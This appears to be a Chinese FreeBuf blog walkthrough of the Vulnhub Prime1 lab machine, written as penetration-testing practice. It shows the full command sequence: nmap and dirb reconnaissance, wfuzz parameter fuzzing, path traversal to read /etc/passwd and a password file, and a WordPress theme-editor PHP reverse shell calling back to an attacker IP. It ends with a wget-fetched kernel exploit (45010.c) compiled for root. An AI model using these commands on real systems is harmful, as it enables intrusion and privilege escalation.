freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Vulnhub靶机实操笔记-Prime1-解法一
沈少 2023-07-21 17:41:50 118056
所属地 北京

一、Namp扫描

1、主机存活判断

sudo nmap -sn 192.168.32.0/24

image.png

2、快速扫描

以不低于1w的速度快速扫描端口

sudo nmap --min-rate 10000 -p- 192.168.32.140 -oA report/min-rate 

--min-rate          #以不低于xxx的速度扫描
-p-                 #全端口
-oA                 #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫min-rate文件

image.png
使用TCP和UDP的形式对扫出的端口进行协议的查看

3、TCP扫描

sudo nmap -sT -sV -O -p22,80 192.168.32.140 -oA report/heavy

-sT               #以TCP协议进行扫描
-sV               #服务的版本号
-O                #服务器系统
-p                #指定端口
-oA               #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy文件

image.png

4、UDP扫描

sudo nmap -sU -p22,80 192.168.32.140 -oA report/heavy-U

-sU           #以UDP协议扫描
-p            #指定端口
-oA           #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy-U文件

image.png

5、Namp的POC扫描

发现一个DOS漏洞CVE-2007-6750

sudo nmap --script=vuln -p22,80 192.168.32.140

image.png

二、目录扫描

1、WordPress

目录扫描发现存在WordPress

dirb http://192.168.32.140

image.png
在访问dev路径时,看到提示内容说现在我们处在levl 0的等级里面,让我们再努力一点
image.png

2、找正确参数

此时重新使用dirb对一些重点后缀名文件进行一个指定扫描操作,扫描得到一个secret.txt文件,去访问看看内容

dirb http://192.168.32.140 -X .zip,.txt -o report/dirbveryharb.txt

image.png

看来你有一些秘密。

好的,我只是想帮你。

在你发现的php的每一页上做更多的模糊处理。如果
如果得到任何正确的参数,请按照以下步骤操作。如果你仍然坚持
从这里学习一个很好地使用OSCP的基本工具。

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

image.png
image.png

因为提示找PHP页面,所有我就特意指定扫PHP类型文件,扫描出两个PHP文件

dirb http://192.168.32.140 -X .php 
-X    #指定扫PHP类型文件

image.png
根据前面提示对获得的两个php文件参数的模糊测试,最终在index.php获得一个正确的参数是file

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.32.140/index.php?FUZZ=ss

-c          #wfuzz用来结果分色
-w          #指定使用的字典
-hh         #只显示 HTTP 响应代码为 136 的请求响应
FUZZ      #可以跟一个参数(ss)或不加

image.png
image.png
带着获得的正确参数尝试去访问一下,提示干的好,但你请求了错误文件
http://192.168.32.140/index.php?file
image.png
查看之前secet.txt的提示说查看本地的location.txt文件
//查看location.txt,您将获得下一步行动//
image.png
这次就file参数尝试去请求secet.txt,看看结果如何
http://192.168.32.140/index.php?file=location.txt
image.png
image.png
根据图片的提示让我们用secrettier360参数在别的php页面上(image.php),提示现在你终于得到了正确的参数

http://192.168.32.140/image.php?secrettier360
image.png

3、文件包含

提示是正确的参数也没说干什么,此时应该需要去尝试一下文件包含

http://192.168.32.140/image.php?secrettier360=../../../../etc/passwd

image.png

4、获得密码

从etc/passwd的内容看到有个password.txt在/home/saket目录下,再继续用文件包含去读这个password.txt文件内容获得密码follow_the_ippsec通过ssh尝试过无法直接使用这个密码,进而将目光转到前面扫目录的WordPress后台页面

sudo curl http://192.168.32.140/image.php?secrettier360=../../../../etc/passwd
sudo curl http://192.168.32.140/image.php?secrettier360=../../../../home/saket/password.txt

image.png
image.png

三、WordPress攻击

1、Wpscan使用

前面目录扫描可以发现有使用WordPress,现在又获得一个密码,这边尝试wpscan去获得一个用户再配合刚刚获得的一个密码

sudo wpscan --url http://192.168.32.140/wordpress -e u
-e           #选择需要获得的内容 u是获得用户名

image.png
image.png
利用wpscan获得的用户名victor和前面获得的密码follow_the_ippsec成功登陆了WordPress后台,
image.png
image.png

2、WordPress后台利用

1、WordPress插件

先看WordPress的插件,新增插件
image.png
上传payload即可,看到是上传一个.zip的文件
image.png
随便尝试上传一个.zip的压缩包提示错误,当前父目录是有写权限的嘛
image.png

2、WordPress主题

主题编辑器,一般来说从主题编辑器容易有有写权限的一些目录,通过遍历来看看哪些目录有写权限。
image.png
image.png
从右侧的页面一个个找php页面且带有提交按钮的,这个目录就是有写权限的。此时因为是WordPress,所以
我们就尝试些一个php的反弹shell让它去执行。
image.png
写一个php的反弹shell,提交shell后就是找到php页面去触发它

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.131/1234 0>&1'"); ?>

image.png
访问url触发shell,http://192.168.32.140/wordpress/wp-content/themes/twentynineteen/secret.php

http://your-site.com/wp-content/themes/your-theme-name/secret.php
其中 your-site.com 是你的 WordPress 网站域名,
your-theme-name 是你所使用的主题名称,
secret.php 是你创建的 PHP 文件名。请确保正确替换这些参数,才能成功访问该文件。

image.png
获得shell
image.png

四、内网提权

1、查看系统详情

uname -a

image.png

2、查看用户权限

可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码

sudo -l

image.png
去对应的目录查看一下enc内容,发现权限不足无法读文件

ls -liah             #查看当前文件的权限与属性

image.png

3、查看当前系统用户

cd /home
ls                  #/home目录在Linux称为主目录,在该目录下面存储的是每个用户的目录。
                      也会是每个用户的数据是存储在该目录下面的一个子目录中

image.png

4、查看定时任务

发现有个定时任务t.sh,但是它没有任何用户权限所以pass

cat /etc/crontab

image.png

5、查看系统用户信息

cat /etc/passwd

image.png

6、系统内核提权

1、查找攻击脚本

前面发现当前ubuntu版本相对较低,尝试内核提权,使用系统版本去查是否有版本漏洞。发现只有2和3是权限提升相关的

searchsploit Linux ubuntu 4.10.0-28

Linux内核4.10.5/<4.14.3(Ubuntu)-DCCP套接字免费使用|Linux/dos/43234.c
Linux内核<4.13.9(Ubuntu 16.04/Fedora 27)-本地权限升级|Linux/Local/45010.c
Ubuntu<15.10-PT Chown任意PT通过用户命名空间权限升级访问|linux/local/41760.txt

image.png

2、下载攻击脚本

searchsploit Linux ubuntu -m 45010

image.png

3、查看具体使用方法

先编译,后直接利用执行

gcc cve-2017-16995.c -o cve-2017-16995
./cve-2017-16995

image.png

4、本地搭建服务器

攻击机本地搭建一个80端口服务器供下载文件

sudo php -S 0:80

image.png
受害靶机使用wget下载攻击机的利用文件

wget http://192.168.32.131/45010.c

image.png

5、EXP提权

将exp传入到受害机,受害机内编译好后,直接执行获得root权限

cd /tmp 
wget http://192.168.32.131/45010.c
gcc 45010.c -o 45010
chmod +x 45010
ls -lain
./45010

image.png
image.png

6、python转稳定shell

命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell

dpkg -l     #查已安装的软件
python -c "import pty;pty.spawn('/bin/bash')"

image.png
image.png

五、靶场下载链接

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

# web安全 # 内网渗透 # vulnhub靶机 # linux提权 # 靶场实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 沈少 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
靶机实操笔记
沈少 LV.4
纸上得来终觉浅,绝知此事要躬行--《冬夜读书示子聿》
  • 13 文章数
  • 11 关注者
Vulnhub靶机实操笔记-pWnOS1.0-解法一
2023-07-24
Vulnhub靶机实操笔记-pWnOS2.0
2023-07-15
Vulnhub靶机实操笔记-LampSecurity-CTF7
2023-07-09
文章目录